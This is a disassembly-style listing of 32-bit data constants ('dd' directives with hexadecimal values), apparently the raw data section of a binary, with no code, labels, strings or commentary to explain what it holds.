		dd 0C07B1605h, 3551B9D5h, 31261413h, 5EF403D7h,	3F78CBB1h
		dd 3422CB4Bh, 5581412Bh, 8000A53Fh, 0E0BDBEF4h,	0B82D043Eh
		dd 0A3C0B5D0h, 0EF2FE9DDh, 576F2B1h, 0C4DE9AC5h, 0E300C7C6h
		dd 0E13BA41Ah, 6BCD9930h, 86FE7ABh, 0F620EF1Dh,	0B0001695h
		dd 0AF62BC28h, 0A9656451h, 0C2809740h, 0F4D32884h, 8B7B4A8Dh
		dd 0CE9C619Fh, 6A209E58h
		dd 2E19DE51h, 5672270Bh, 5B2F859Dh, 9A80C757h, 3FB26063h
		dd 0B3A0E90Ch, 4A685D3Eh, 0B98F8Ch, 6AB6570Bh, 6239F181h
		dd 2FB841F4h, 6805479Bh, 60213469h, 0C100F90Eh,	6CB802E2h
		dd 9E150604h, 0B0F0315Fh, 4B760BEAh, 1E844EB9h,	0EB8805CDh
		dd 2DF1F408h, 4C0ECD76h, 49854BAh, 0DEE2FCC5h, 6F2446E0h
		dd 0E8B327D2h, 0D668848Bh, 0CE68BE16h, 59640DEh, 0A61CB239h
		dd 0E82DE121h, 54BCE92Eh, 0E57DDE6h, 817D48BFh,	1171095Fh
		dd 2A9914DFh, 33D4CACFh, 0AB0636C6h, 0F9B6F6B1h, 1DF33C76h
		dd 0A4C9E608h, 1E1BDFA8h, 4A6CF4D0h, 65AD1B4Bh,	1827EE88h
		dd 81D041E1h, 0E032CD66h, 75CF6A97h, 0CB1E5CC3h, 5F430296h
		dd 0C340478Fh, 86254B85h, 482F521Ch, 503885C0h,	0C5002BB8h
		dd 0B9202C74h, 265C7696h, 0C32B1873h, 5EFC686Dh, 47C5218h
		dd 0C88D0Bh, 0F580DDF6h, 84D0B7FEh, 93ADEE27h, 0CDCCC30Bh
		dd 4F86B140h, 4C013379h, 1827E9E8h, 6E31B00Bh, 310CF8C1h
		dd 6FE9C80Bh, 0C2621BD3h, 4AD7D2C0h, 67BFE22Ch,	39770D0Fh
		dd 2B805BC5h, 2668A7h, 289F3507h, 0E9054589h, 0BF7465E2h
		dd 53C4AB5Ah, 51A8DDEEh, 0C95556h, 3A51472Dh, 608744C3h
		dd 0F3564974h, 8500D111h, 54580BF1h, 5CCE89A8h,	9D265059h
		dd 0AA336F94h, 0A0B52244h, 0E083C009h, 0DF7B151h, 0F188D834h
		dd 0B08338E5h, 5F6AE95Ah, 2095F5C7h, 84FF67Ah, 0EA60C5B2h
		dd 4A5C78F9h, 544C0BFh,	8E1C2E20h, 0C47D131Dh, 0B1B4E871h
		dd 0F804807Ah, 0F40D163Ah, 0B0DD7BC3h, 40311D40h, 0A576E9D9h
		dd 0F667F33Fh, 0D509AF4Fh, 205A5809h, 5B4EDA9Fh, 0F712D4B6h
		dd 0B91904F1h, 0F085174Fh, 40D904EAh, 5531AF69h, 8000155Ch
		dd 6C527EAh, 0C0A82834h, 0C306DE75h, 43045966h,	0D12CD0E1h
		dd 5164665Ah, 7A70C146h, 78401F39h, 5BFE3C54h, 4FCC8208h
		dd 0F7462659h, 20FC98A4h, 5BB7CC9Bh, 0D829C29Ch, 27E21455h
		dd 0F5487EE9h, 9B0518F1h, 0CF89EC99h, 95A59616h, 0F02570BCh
		dd 0EBC0F581h, 7069E04h, 7EBD73D2h, 0FB2AC45Fh,	65F03D3h
		dd 9A076C0Eh, 0E3095E6Bh, 0E45E440Fh, 4BCF94A1h, 2194CE3Ch
		dd 4866E962h, 48F75BA9h, 3C0101D6h, 1748D37h, 2F8B2FDEh
		dd 79F6C601h, 7F01D305h, 52853B21h, 0E5DAD16Bh,	0F0961643h
		dd 30565A1Ah, 425CC5C5h, 98CBECBDh, 418BE9C1h, 97F11BCEh
		dd 3D2BC88h, 0E386DCF6h, 22E617CBh, 68535500h, 7F803BCCh
		dd 0C3830B5Bh, 3E69E901h, 109D3756h, 0C45B9419h, 0ADB2F0D2h
		dd 125F789Fh, 0BE8C55E0h, 50F07300h, 264D11D9h,	1CFEDC1h
		dd 0C2B789F5h, 75C12A13h, 0AC04D09Eh, 0CD2913B3h, 75580004h
		dd 804A5D05h, 117FC169h, 2D866D5Eh, 0B4ED0912h,	8F57E0C8h
		dd 0BC32073h, 0FE4DB20Eh, 52FCEBh, 0DF317065h, 0E9F9215Bh
		dd 641D435Eh, 0A67A34Dh, 0C158F26Ah, 830664B8h,	76A37930h
		dd 310B0343h, 0C721E9C6h, 28E2AB30h, 982B4FD2h,	0E87A7098h
		dd 2AF89F1Fh, 58B0013Ah, 0FBC22F0Ah, 0B7128A0h,	51216359h
		dd 819A87Fh, 66EB5F12h,	9AB79427h, 621DF1F8h, 71560767h
		dd 55E60B4Fh, 8B7F36ABh, 175E132Eh, 4B5DE943h, 782564FBh
		dd 0FA84531Fh, 22607D40h, 5029CBBEh, 0B0F0C6F8h, 851D5F2Eh
		dd 0A7CBAE88h, 11177962h, 979416DDh, 5A50CE7Ah,	125DCD41h
		dd 18E84EA2h, 0B4C46F9Dh, 41B86AB7h, 133E3545h,	0FCE5C419h
		dd 4A57E6F6h, 0FCBA128Eh, 0D72FA26Dh, 167DF109h, 0CB3AB4D8h
		dd 4A7B96D7h, 904F952h,	204419EBh, 6BA0F361h, 1EB17C48h
		dd 0C40569C7h, 83DF0179h, 33E9E2FBh, 8B28823Bh,	0DD42374Dh
		dd 688859E3h, 96B52E5Fh, 0DA609F73h, 7B5E44E9h,	0FEAD9891h
		dd 2F0FBB00h, 54C119E0h, 6EE63033h, 186C9487h, 8443E470h
		dd 1974706h, 0AC17EFC1h, 93989077h, 0F6C435C1h,	11E2D217h
		dd 9C5066D7h, 0A37D880Fh, 5219B401h, 0A17BAAB2h, 2491F5F5h
		dd 0E3BD2119h, 552E98C1h, 8460B790h, 0C0355E52h, 0D4EA808Ah
		dd 0ABC81716h, 5AC9225Eh, 2FBD1E68h, 0B6C92159h, 712B6B56h
		dd 0CDB18417h, 2063E455h, 174045BDh, 80A356F2h,	777212AAh
		dd 17C60C48h, 19BC8DF0h, 176B110h, 0F75FFB87h, 6A3843D3h
		dd 9FBC7738h, 1401B1CFh, 0E5962152h, 0F326B88h,	27AD76B2h
		dd 0A91505DBh, 0E32800CFh, 0EB805866h, 0B6521D37h, 53C68EBEh
		dd 0C55AF307h, 286CD2C3h, 0D8316275h, 41C89F84h, 7AA8C52Dh
		dd 631D6856h, 5ECB097Dh, 37AB8251h, 0D30105EBh,	1FBC81A5h
		dd 1B65284Ch, 665825C3h, 171DB086h, 0BAA52D4Fh,	0E3C16214h
		dd 9C6F8FD2h, 50015292h, 0F3277768h, 0F03A5815h, 11128278h
		dd 0DE1B63EFh, 0BE36008Ah, 2C7D5D69h, 400EF681h, 0C018F325h
		dd 5139ACEh, 8BEDA030h,	0DD6417E7h, 0E973B421h,	800E985Ah
		dd 0F6D1C9ADh, 5CBB811Dh, 400EC062h, 0A6E381D2h, 70545731h
		dd 0B76BAF23h, 0C89F7BFCh, 0B815DB2h, 9253F5EEh, 191C8654h
		dd 0C9867C2Fh, 0E98A7659h, 6AB0ED2Ah, 0F16C3593h, 2E68C2D0h
		dd 64791BDDh, 580E850h,	1C530ACDh, 28F7BA08h, 78585DC6h
		dd 1201B65Bh, 54A3EEB2h, 3C645A1Eh, 5485BCD8h, 84F437F7h
		dd 7043EEC0h, 81084CF2h, 997F0102h, 16C53017h, 57C327C1h
		dd 0C53F865Eh, 1365C0ADh, 3FEB875Ah, 0D1AF1875h, 2B01A41h
		dd 0E2EA7F2Dh, 12525E60h, 0E914C80Bh, 177D015h,	0CE28F405h
		dd 83D80118h, 491C8324h, 77F80061h, 0E9798734h,	0E2B2A2E3h
		dd 7C4424DEh, 48017B5Fh, 0D816C835h, 211380E7h,	0FEA60BBh
		dd 0C13ED166h, 0F33913EFh, 0ED807F34h, 9783F95Fh, 205F8642h
		dd 66464B3Bh, 32949D61h, 5DE82112h, 4AAB73A4h, 287CD201h
		dd 3A400754h, 0B0217068h, 0F5512571h, 65ECAB66h, 4AB35380h
		dd 39E1E894h, 0CA808CF6h, 1C380626h, 0D203E2C0h, 702704EAh
		dd 0CBAEA81Ch, 2D497C3Eh, 0E92C8F94h, 288BC30Bh, 0A65E04F8h
		dd 57F90412h, 0F680063h, 0F44DCC4Eh, 0F3644AF6h, 6D755F95h
		dd 18EC29AFh, 0D57F68F2h, 8F620294h, 706677DBh,	6C506CB0h
		dd 956E41h, 22FCBBC8h, 0BF54028Ah, 0AEA1E4E8h, 0CF2025FCh
		dd 2C07E00Bh, 0AACAE403h, 64B87144h, 815D94BFh,	544F52FDh
		dd 0D2C5AB46h, 435E2E90h, 7E324C1h, 9A370058h, 0DE31C54Bh
		dd 0FA53E912h, 5F05F88Ch, 45247797h, 0A899839Fh, 484F48h
		dd 64F02C4Bh, 501E883h,	0D2B7BC2Dh, 0D55E8C55h,	4A1B1418h
		dd 1207B50Ch, 131F5A8h,	2447291Fh, 0D8AD2858h, 4FD4E90Dh
		dd 0A7A8E90Ch, 2568F17Ch, 0D7194C12h, 0E90386FFh, 0B00AB41Ch
		dd 0E754D33Eh, 1DC44E24h, 5CA1B6E8h, 0E8F22F66h, 85624013h
		dd 0C824983Dh, 9E921A90h, 6F8C797h, 0B06D8E9h, 0B8451E60h
		dd 4CA97A3Dh, 9D12DF57h, 0C97FCB98h, 59826977h,	68C2CE72h
		dd 97B22FCCh, 0E4952351h, 145827EDh, 0F8202DDAh, 0FB09F0C7h
		dd 62C67455h, 4CD71DA5h, 0E611D31Ch, 4EF304FEh,	3AEC4974h
		dd 6FBD5501h, 6834B97Ah, 89EC5AE1h, 89D60A41h, 0BB828218h
		dd 0BCC608DCh, 27C2A727h, 719D1DDAh, 0B975EB65h, 7E51C377h
		dd 100E4C2h, 0ADBE56FAh, 5C2C4272h, 470900F0h, 6E685820h
		dd 0A8435262h, 6DD80BE2h, 5F000658h, 2CAA9716h,	0FFAD8Eh
		dd 91716B68h, 0ADB2B54Ch, 0D23D84B2h, 1ED361ECh, 0C1ECC985h
		dd 30BFC318h, 413D1F03h, 0A2224BBEh, 0E561DFA1h, 0D4D9A79Ch
		dd 0A0258850h, 4B466C27h, 0B4EDEC89h, 0FA49DD84h, 0CAE95C5Dh
		dd 0D342E21Ch, 0FB285047h
		dd 5B26700Bh, 8E1DA30h,	0F167E907h, 42685200h, 486D7105h
		dd 0B174155Ah, 0ADD293B3h, 609316A8h, 9D5B3F88h, 310825FBh
		dd 0AB80411h, 0A56BC710h, 0FE9A527Bh, 0CD39562h, 0D68A6A52h
		dd 0AD58978Fh, 0FBE22FC8h, 0BD400B43h, 8B426AD4h, 975FE61Fh
		dd 0F149F644h, 0EB830449h, 0EEC88702h, 0FC358192h, 310BFA59h
		dd 7941AF68h, 0A1EAC65h, 960AD7h, 2D0C549Fh, 7BB0C609h
		dd 0FBBAE40h, 28D96D51h, 0AA6F7444h, 0F13A4545h, 25DDA1ECh
		dd 3159E681h, 0A3D1C9CAh, 589D508h, 61BC5EE6h, 260B3F68h
		dd 735B19DFh, 176C922Dh, 6810604Fh, 23DA2FF6h, 766E7748h
		dd 0AE46A2F7h, 815EF325h, 0DD79E192h, 72D18D30h, 81014C78h
		dd 0B76A7D04h, 5940AB2Eh, 583561C9h, 0C5E9120Fh, 900637E5h
		dd 5068C8BFh, 5A676C62h, 0AF5305BAh, 444B658Bh,	1472ABC1h
		dd 10A5485Ah, 0BB058B1Dh, 81E65BE4h, 7AF83E9h, 3380D58Bh
		dd 97662CEAh, 3259127Bh, 0A5FD4F28h, 91EE494Fh,	0D99D1450h
		dd 138364F2h, 9002ABEh,	5513BC68h, 22547B6h, 0CB33C576h
		dd 880398DDh, 648A37E1h, 8D76694Ch, 0EDAFE824h,	27582AD2h
		dd 61D38F36h, 3A0BBF82h, 0EF858018h, 9C378D7h, 9F65E96Dh
		dd 16F80F16h, 0F2B7A45Eh, 90FD1864h, 2807B7B1h,	412FF779h
		dd 0C0CC6888h, 3EF2E40Eh, 2E9BF101h, 95C81BDBh,	135EFD6Eh
		dd 66297B8h, 0B7F84A04h, 6C5B8E90h, 6293B5F2h, 524A02AEh
		dd 0E7326FC0h, 1D665780h, 136980BFh, 9D46FB4Fh,	0EDBB60EFh
		dd 0A6709C3Bh, 8AB9B64Fh, 0B2AE8785h, 714BDFA7h, 4FD9646Bh
		dd 8B97AC55h, 0D30B7F31h, 0C4C20CE1h, 7D5B0442h, 814EED4h
		dd 28A07094h, 6BD67F12h, 23107DB8h, 0F05C27B1h,	23719FFAh
		dd 9A9484E9h, 254DCAEAh, 5CC109FEh, 0C159A98Fh,	49F438E9h
		dd 237BF99Ch, 61569F44h, 0A431E6A4h, 0AEEB5D8Dh, 19A11458h
		dd 0C1B63C17h, 2F106956h, 0C795383Eh, 4301B1B0h, 681EEF05h
		dd 758B03A3h, 6930719Fh, 369D93B6h, 0C9681330h,	0A583EC28h
		dd 6856C941h, 5D9216F5h, 6AABA164h, 0E9C2F5E3h,	4E56ED8Dh
		dd 4B5F0264h, 4B7388D5h, 268A5E2Fh, 0A7512604h,	38479A5Ch
		dd 1ED1DD4h, 1B17E908h,	3C465C27h, 0F0D1F696h, 6823FC9h
		dd 3F94808Fh, 8562E901h, 11D5D531h, 9DF8759h, 0CB56D7F8h
		dd 7771D202h, 0C8FA5F05h, 0A54EB0B6h, 70C8654h,	4AEE5E4Eh
		dd 12BE28D4h, 3F60FFD2h, 0B3F20B9h, 0A3E959E7h,	0E0A8B856h
		dd 0B22DBC18h, 247AC172h, 23F3F12h, 256A2417h, 46FD0C70h
		dd 14821C08h, 7E491259h, 0AA0D6D77h, 916D760h, 49FC5DEBh
		dd 232A02D3h, 260BE95h,	0B580A2C1h, 0C5801C76h,	0F8EDC320h
		dd 0FAF9EB08h, 96822265h, 5AACB065h, 28E9F754h,	0E17E56Eh
		dd 3A3E184Ah, 7AF7E1C1h, 0E93A9DF2h, 0C837B4D7h, 0ABC6C305h
		dd 515B2451h, 0FC0F1712h, 61818E86h, 76915C2Ah,	5A2D817Bh
		dd 3F88E5A1h, 0E7AAAD1h, 9EC6D981h, 7B247539h, 0FF84DA1h
		dd 0BA6EC0C0h, 0C809FBC3h, 1A90D5FAh, 58753C66h, 0A560B58Bh
		dd 0C2955591h, 38C6DDC2h, 93899694h, 6B1ED619h,	1E1B9057h
		dd 0B968C05Dh, 119C416Fh, 3E19F8C0h, 0A0490387h, 255DE89h
		dd 0CB291DC6h, 96F494E9h, 0D478C089h, 7264AD8Dh, 19085527h
		dd 92740A3Dh, 0A8D4002Dh, 0BB5337ABh, 0D250743Eh, 0DE12EB93h
		dd 3505D548h, 72FB13CEh, 475FF166h, 21E9843Eh, 74FA964h
		dd 93678A6h, 139486Ch, 50539BA4h, 0D422EE68h, 2500584Fh
		dd 2AC76A2Fh, 27DE0205h, 0FA5EF5BCh, 0A0D3010Eh, 29595B0Bh
		dd 92304D72h, 829D6185h, 7EC7A866h, 0D1638009h,	0AD4F8827h
		dd 4276BA01h, 20201D49h, 17BB60C9h, 3A320FCDh, 0DCA54A4Eh
		dd 9820FACCh, 0D1011376h, 0A54EBD5Ah, 5BD166C9h, 805AA007h
		dd 7BF440F5h, 6AE79E54h, 0D03F743Eh, 0DD26E8Dh,	0D359B90Bh
		dd 0B25200FCh, 99E28082h, 0FFB75317h, 0C6477FCh, 0C00FC2CDh
		dd 0D2BEAD04h, 6BCBECF3h, 0E945FABAh, 5A087CA5h, 50218661h
		dd 5BA2689Eh, 50756CB7h, 4CCE1702h, 4800CD59h, 5E05314Ch
		dd 389FF729h, 0B367559Bh, 20BC21CBh, 6172948Ch,	7315FE68h
		dd 379A5BB5h, 0D5E2E909h, 1A88FE5Ch, 52933D89h,	0A5EE565Ah
		dd 7F823F9Dh, 2088CE5Dh, 609D82AFh, 58FC70C8h, 9F51035Ah
		dd 96420804h, 0DD9BB3E9h, 2F37992Ah, 0F7420F53h, 7E07C0F9h
		dd 3B399712h, 0DE9BA505h, 52F382D1h, 3560884Eh,	5D09A1C5h
		dd 74015343h, 4808205Fh, 0C525445Bh, 940A9CD3h,	0A50D5F80h
		dd 0F651D013h, 5203857Ah, 44FDE3EAh, 88250928h,	0E5076419h
		dd 14A2037Ch, 0A85B6C2Dh, 5F020B0Ch, 516BC668h,	6A078838h
		dd 922FA27h, 0F82158C7h, 0C1042716h, 0C8310EE8h, 971818BDh
		dd 0F2C6AD91h, 6EA15712h, 330994BCh, 56FE1223h,	0A689F1C9h
		dd 1DFD1064h, 0D0D3E7D1h, 868A580h, 0D751BD4Ch,	2E8EC54Bh
		dd 0BBD388D0h, 20355D00h, 0A066DC73h, 4EAEE4C8h, 3A75F8E3h
		dd 0D654B5Fh, 27E67501h, 0E46E5946h, 5ED2257h, 80F683BBh
		dd 6F58C69Ch, 82C928E0h, 5344988Ah, 0C8B10051h,	8003E1C0h
		dd 6C349C1h, 7ACB889Fh,	81B34052h, 660AD4F0h, 2A575097h
		dd 0A8591DA8h, 44E296F8h, 7324FD22h, 0E9509B29h, 74D85FAAh
		dd 5920C241h, 0A7BD767Bh, 5E9F066Ah, 598F6238h,	702A5961h
		dd 95085713h, 0C38000DBh, 5BD830DAh, 0A4F338A0h, 9BDC69Dh
		dd 62034137h, 698B165Dh, 12871D36h, 0E9FEB1C7h,	75855565h
		dd 0AB6CE4F5h, 64AA13D7h, 0FC88FACAh, 2C584055h, 83E2F45Eh
		dd 0D082E9C5h, 3F86B954h, 551CCB00h, 0B12FA4BDh, 0F2F7A023h
		dd 0BF830190h, 9EE9CA89h, 60306ADBh, 1FF207B2h,	0C9C7018Ah
		dd 0CB39A35Fh, 10D3F622h, 0BF084E24h, 7F8307F8h, 9DD0A20h
		dd 11F50901h, 73C5E9E0h, 0A304D47Dh, 0D7041770h, 9ED7E314h
		dd 3C2A8762h, 10402B1h,	0F64B405Fh, 3404C7D8h, 0A8C50451h
		dd 0E9210592h, 0F544B53Bh, 0D9B05DEEh, 50D2A979h, 4C3CA9D9h
		dd 6680D043h, 48289869h, 7DD4C3BFh, 405EE06h, 4785F4A2h
		dd 8003C409h, 426B1C2Eh, 0C4E96D09h, 496F7AFAh,	9D5C3402h
		dd 684BCC5Bh, 0E017A024h, 4D945567h, 5D390EEEh,	0B08800B3h
		dd 0E9D699ABh, 9B959D7Dh, 0EB7F214h, 9AE9D30Fh,	676885A3h
		dd 0B64FB8Dh, 609ED9BBh, 0A04AB4F8h, 2E78A9F2h,	41477CFEh
		dd 0F017085Ah, 4690C889h, 0B19E8648h, 292974DEh, 0B6520204h
		dd 0CE04D15Fh, 0EDE6CC55h, 8E6FE925h, 570BA430h, 0EC331EFh
		dd 163C7683h, 51F2BF03h, 0F1253A58h, 9E1C418Bh,	13C6895h
		dd 0A9054AC8h, 68592547h, 8056D449h, 290DBF6h, 0D020F424h
		dd 8E8C000h, 4F885366h,	144EA8C7h, 85459ABBh, 35EF1345h
		dd 8649B22Ch, 2DA25A54h, 0FBD982DFh, 4B40208h, 0BC55BF68h
		dd 0DF98C46Eh, 20DCDBEh, 0E5B1F7B7h, 7EB1A57Ch,	89C26CDh
		dd 0B6443623h, 0C1B338C1h, 6B2ECC3Bh, 772CC7B6h, 0F80F861Ch
		dd 0F53FAB5Bh, 1A110B87h, 0E8D0AF42h, 3520AA7Ch, 43D99CA8h
		dd 135DB289h, 0BB8210E0h, 504AA4Ch, 0AB13F24Eh,	9D010783h
		dd 71DED60Bh, 2C0DAB4Bh, 0D518CC8Ah, 3BA56D17h,	0EB289AFCh
		dd 9B14B708h, 29BF07D6h, 6DCB3F69h, 0F255E417h,	0C3E71218h
		dd 0E997FDBCh, 295CF0D7h, 5F4898C3h, 0BAC30074h, 1228162Dh
		dd 6F28102h, 70156D5Fh,	0A8B04E30h, 0B6FEC5D7h,	9CF68D40h
		dd 0F6A61FE4h, 0C4D548C0h, 0AB0FBE96h, 9390651Ch, 5C8163FCh
		dd 7B1B9268h, 4BDAE88Ch
		dd 21028D57h, 0D876E8C2h, 25B84A02h, 54695C1Dh,	687C3727h
		dd 0C8F9EE92h, 0A8DC5A2Dh, 75C8E962h, 0DE015A48h, 0A6BA5203h
		dd 75BD423h, 851175DAh,	0F6E26053h, 6C248603h, 68082E51h
		dd 2FB10589h, 8DF08428h, 1827F8EBh, 16559131h, 0D22E0BB5h
		dd 0C890A3BCh, 58816D3Ch, 52043123h, 0BA28DAB2h, 17BE7E57h
		dd 7637AE50h, 13C9B893h, 0D26B1765h, 3A5791F6h,	3C504B4h
		dd 0BCBD27FFh, 0BE69A241h, 2D4AC12Dh, 8001FB3Ch, 0EAC086E2h
		dd 28C2D807h, 0AF5B19FCh, 30F54BA4h, 0ED0A26CDh, 0C580527Eh
		dd 0E9FC3943h, 0BFD0005Ah, 33E45301h, 26A4D29Dh, 1DE90DF9h
		dd 2B1DFD47h, 417F5F45h, 170B5EE7h, 50189D76h, 89561581h
		dd 0B63A5FFDh, 0B8A25BA2h, 5B548310h, 5A462AF4h, 9743BCFEh
		dd 697A38AEh, 0EFC035DEh, 0B7D014EAh, 2166CB31h, 0D2E96C01h
		dd 91A33EA4h, 0CE94502Fh, 721E444Eh, 7A2CE347h,	8490CD94h
		dd 1475B1BFh, 0EA4F65D8h, 0F573B427h, 68132CA0h, 958932D3h
		dd 195A35F3h, 7FCABBA1h, 81ACB44Bh, 92A80C4Bh, 66B69A1h
		dd 7AD020C2h, 5154502Dh, 147FC938h, 558690A1h, 19AF3DC6h
		dd 0E9041773h, 54BE627Ah, 9A097908h, 2FF2293Eh,	0BE5BDBF2h
		dd 95C6CC28h, 453067Ch,	0EC7FBE18h, 83C2BA60h, 590884EEh
		dd 0E9713CBAh, 3253882Bh, 91FDC592h, 7345924h, 8BCA3662h
		dd 8DF285Fh, 0FD6CB02Fh, 46912568h, 0BA9C6171h,	4ECF444Eh
		dd 0EF8082B8h, 1F117549h, 2D17064h, 975E01F2h, 0D23ADEE7h
		dd 535B35C4h, 5C2878Ch,	0A8E1DACh, 637F129h, 7C951C08h
		dd 0AB0C340Fh, 0C801BE1h, 642E5F4Eh, 31FB295Bh,	19172B4Eh
		dd 0FA6A64h, 0BC301FF5h, 0BA20E93Eh, 8F8B80D1h,	42930D4Bh
		dd 10DCF529h, 5E5AD508h, 5BCD24C0h, 0E2E90AAFh,	892C97C2h
		dd 7E6F68B8h, 0C853CB67h, 1E67C7BAh, 0D3264E6Fh, 5AFAE0EEh
		dd 0F1BB5303h, 0B7232248h, 0F7AED8D2h, 75FFA7C4h, 60B02F96h
		dd 386C5E7Eh, 54B60D2Dh, 2743FCAFh, 841202D1h, 8A5054h
		dd 6C3301A5h, 7272CE81h, 0E8084B55h, 2E01D324h,	16E334BFh
		dd 0A1FBD0DBh, 0A2044992h, 0AC419D56h, 267B9259h, 0B80414DFh
		dd 0E8C794Dh, 5C0BB1AEh, 401247E5h, 0E4E43368h,	286940B7h
		dd 4C8CF84Ah, 0B56A4A2Ch, 0F082D792h, 0EF4606D4h, 7EC0B7F1h
		dd 51276B1Ah, 0E90C983Fh, 56049D8Fh, 62B3AA57h,	0C23FFCD7h
		dd 309A3E9h, 2891F180h,	2F1476CAh, 0F22A8230h, 27A2EC86h
		dd 0AD99E146h, 7ACEE85Bh, 689E8899h, 0EEF3B18h,	0D61395C7h
		dd 3944FBADh, 201751B7h, 7E7DDBEAh, 90E8755Bh, 4E4E984Ah
		dd 0E18596FBh, 0C768E000h, 4B02663Eh, 0F507F45Dh, 5E059E01h
		dd 55AFE948h, 39685A50h, 8B87A544h, 0C760BBE9h,	8012F328h
		dd 1CD7ABC3h, 576EE0E2h, 27D42E27h, 6A4AA2E5h, 782554ECh
		dd 0DCD5B9Bh, 5B5594Ch,	0AC465783h, 588E009Fh, 0CA816EA7h
		dd 0F67C2840h, 5D88209Dh, 2AC2B90Ch, 4A4956FAh,	2C8D6808h
		dd 94E24182h, 0EE00A532h, 17D9707Ah, 6EC1C601h,	514A03C8h
		dd 0F66D2330h, 0BF3E486Eh, 491D5D04h, 8031C63Bh, 0B798F820h
		dd 0CDFA3C43h, 74D25C02h, 50E2885Eh, 6CB1AC16h,	769D9A3Eh
		dd 0C8679E25h, 90535F89h, 0FC235EA3h, 60257F96h, 25954C8Bh
		dd 0F1F9FA6Dh, 742D019Ch, 28E15B85h, 67F48858h,	0EAF62DE8h
		dd 68978125h, 303A49C2h, 8790665h, 315A6013h, 0E91C20EEh
		dd 9897F922h, 4C250C8Dh, 392488D5h, 9446AF61h, 0E2F03B5Eh
		dd 0F781A861h, 91251CD8h, 2D1CC022h, 10051FFCh,	0E91E819Fh
		dd 0C82A0608h, 52955E73h, 0E0C80955h, 32D5B3C5h, 0E41E4ABDh
		dd 4CC708E2h, 0D0276C1Bh, 58088168h, 72B3886Eh,	0B76F9B41h
		dd 0F75CC221h, 20A34EE9h, 0AF82CCCBh, 705BE2C0h, 7B1B2507h
		dd 719608B7h, 0B6BD122Bh, 0ADE1207h, 8CB27212h,	7E4929E0h
		dd 46BCE41h, 124FD24Dh,	0B3C0C501h, 0C02F2BDAh,	5EF3313Fh
		dd 0CC6DD9BDh, 0E809C107h, 0C002E918h, 0E0C62C73h, 0D9D3FBF8h
		dd 413EDEC7h, 0F38024EEh, 380B6E49h, 5A6CC1D5h,	3910B040h
		dd 4C01F21Ah, 5409FDC5h, 1702F04Dh, 0C1076541h,	9F87D26Ch
		dd 600DE680h, 0E031F58h, 9E679825h, 5DC5A846h, 3576029Fh
		dd 61E4104h, 72AFEDA8h,	365936D2h, 0B3BA4879h, 0FF44FA56h
		dd 934DA209h, 0FAB9B0A5h, 919293DFh, 68658F0h, 47F12FCEh
		dd 3DD6000Ch, 0F001B72Eh, 0BBBAA4E9h, 7988BF04h, 4AEF548Fh
		dd 82CEEBFEh, 0AF7D16ACh, 57526176h, 0AF14DA85h, 7A352204h
		dd 0A8624AC3h, 0A0AA0545h, 82BAF0D1h, 703D906h,	0CF5B3504h
		dd 0BAB7DE7h, 160081E6h, 314CDC3Fh, 84A56AB5h, 31EFA5DAh
		dd 4EB6C19h, 6219EFB0h,	7EE5BB1h, 7C12D7C0h, 0D124E82Ch
		dd 0DA40711Ch, 29BD5539h, 28652D75h, 76832F2Bh,	40274E92h
		dd 0AD3A56BBh, 0E5C10F23h, 0EEE61B6Dh, 8A78C6E9h, 80D5F60Bh
		dd 882C1D03h, 3341E882h, 0FE03618Bh, 3E09B9F4h,	2559E6E6h
		dd 5FCB8CEDh, 0C445D6F8h, 62297E25h, 58080097h,	0FC277BBAh
		dd 0AA62FD26h, 0D8BDE90Ah, 575A8927h, 514066D4h, 0F8060B5h
		dd 0CDFEBEF5h, 0D8D825BCh, 2F286CBDh, 0B3FE5EF0h, 2CE8D8C5h
		dd 1FC1FE2Fh, 3FDC612Fh, 662FD8CAh, 0FD24195Bh,	0F0E25D16h
		dd 587FAB50h, 0B5C59BBFh, 0FE93061Dh, 27519AC5h, 85C23A98h
		dd 0CD14A8FFh, 29324A03h, 0F89FF213h, 69D4951Dh, 465624ADh
		dd 0D8308691h, 94F1F098h, 283BF9B3h, 805B05DDh,	0DC1561C5h
		dd 3EBC4B66h, 483BE7B4h, 542327F6h, 970672C9h, 0A94D7F87h
		dd 0D73117CEh, 56C6AC22h, 0A5FC2553h, 266BFBD0h, 0FD4A46h
		dd 53701D0Dh, 692AE91Ah, 28CB82E3h, 80C1005Eh, 987C8832h
		dd 7649A5Ch, 9474A6BAh,	79F5A237h, 0C85615E9h, 0B37B58BEh
		dd 51C84524h, 1B4DD882h, 843946Bh, 5CC52FEDh, 47393382h
		dd 997C5Eh, 0A4054048h,	214E307Eh, 3113B7E8h, 0FCBF16DDh
		dd 0D2417C52h, 2DBB9844h, 124D698Ch, 61BFE89Ch,	40A6215h
		dd 68579040h, 589247D9h, 0E909EE5Ch, 397C6384h,	0A31736A6h
		dd 1F7EC68Ch, 4B25581Ah, 7A68B1B5h, 0B82011C0h,	796C9D69h
		dd 9EA6E020h, 70D6496Ch, 37C06841h, 308CD97Eh, 0C7B956CCh
		dd 46027BACh, 6608001h,	8ABD0D0Eh, 4702A43Bh, 0D54D4013h
		dd 8DF0129h, 0E6250BC6h, 49F0A0ADh, 20D5872h, 20F0D924h
		dd 0C2887908h, 6FFDE997h, 21D20DE9h, 809FD857h,	0D1C20D4Ah
		dd 8CF24155h, 9C6801FEh, 555263Fh, 52803A8Eh, 8FDA982h
		dd 0A6A43BDDh, 1CF34080h, 3D7BB339h, 59F85DB2h,	0DCEC5060h
		dd 4D5A1D7Eh, 0C613B589h, 835CBA58h, 826ABFC9h,	0F2ECE9F9h
		dd 7788A28Bh, 0FA07CB99h, 0E33AAA20h, 6291B840h, 5AD52F6Bh
		dd 0F92F5154h, 0C5E9E488h, 1ACEAA76h, 0C077985Bh, 0F9284B68h
		dd 7A4F56C9h, 0A4997879h, 0B72E5139h, 105C2FD1h, 0C0B1E912h
		dd 0A5BF57CBh, 3E18C975h, 637CEFC1h, 8B0382E4h,	2DD2737Ch
		dd 0A872DC0h, 7240882Dh, 2D409082h, 0A358D9D4h,	0A7392B9Eh
		dd 2107B1EBh, 2AE91CECh, 959ECBE5h, 762749FEh, 8545AD4Fh
		dd 0C23276A7h, 0B70297FCh, 1FE15F7Bh, 0A1256B30h, 0D523B309h
		dd 0BA5200B0h, 11719D84h, 5A28E909h, 1DEE5875h,	458B724h
		dd 0E8585EF5h, 0DF5CA29Ch, 0F720A944h, 6059974Ah, 1B80C59Eh
		dd 0EBE964C4h, 0EB6CB95Dh, 0EAB196EEh, 0C22DE98Bh, 203E1372h
		dd 0D0046DF0h, 9EE80E6h, 5A8080EEh, 589F4D04h, 5629E958h
		dd 7FCBA84h, 4B7559B0h
